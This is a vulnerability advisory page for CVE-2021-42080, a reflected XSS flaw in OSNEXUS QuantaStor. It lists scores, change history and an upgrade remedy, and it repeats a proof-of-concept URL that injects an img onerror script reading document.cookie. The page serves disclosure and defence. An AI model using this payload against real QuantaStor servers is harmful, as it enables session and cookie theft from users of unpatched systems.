CVE-2021-42080

Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Published Jul 10, 2023 CVSS 3.1 · 7.4 High EPSS < 1% KEV · Not listed
Description
An attacker is able to launch a Reflected XSS attack using a crafted URL.

POC:

Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Remediation

Vendor Solution

Upgrade to the latest version of OSNEXUS QuantaStor.

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
EUVD EUVD EUVD-2021-29066 An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
History
Type Values Removed Values Added
Description An attacker is able to launch a Reflected XSS attack using a crafted URL. An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'partial'}, 'version': '2.0.3'}

Type Values Removed Values Added
References
Metrics cvssV3_1

{'score': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N'}

cvssV3_1

{'score': 7.4, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N'}

Weaknesses

Sources

Status
PUBLISHED
Assigner
DIVD
Published
Updated
Sep 22, 2025, 6:40 AM
Reserved
Oct 7, 2021, 5:12 PM
Status
Modified
Published
Jul 10, 2023, 4:15 PM
Modified
Jun 17, 2026, 4:09 AM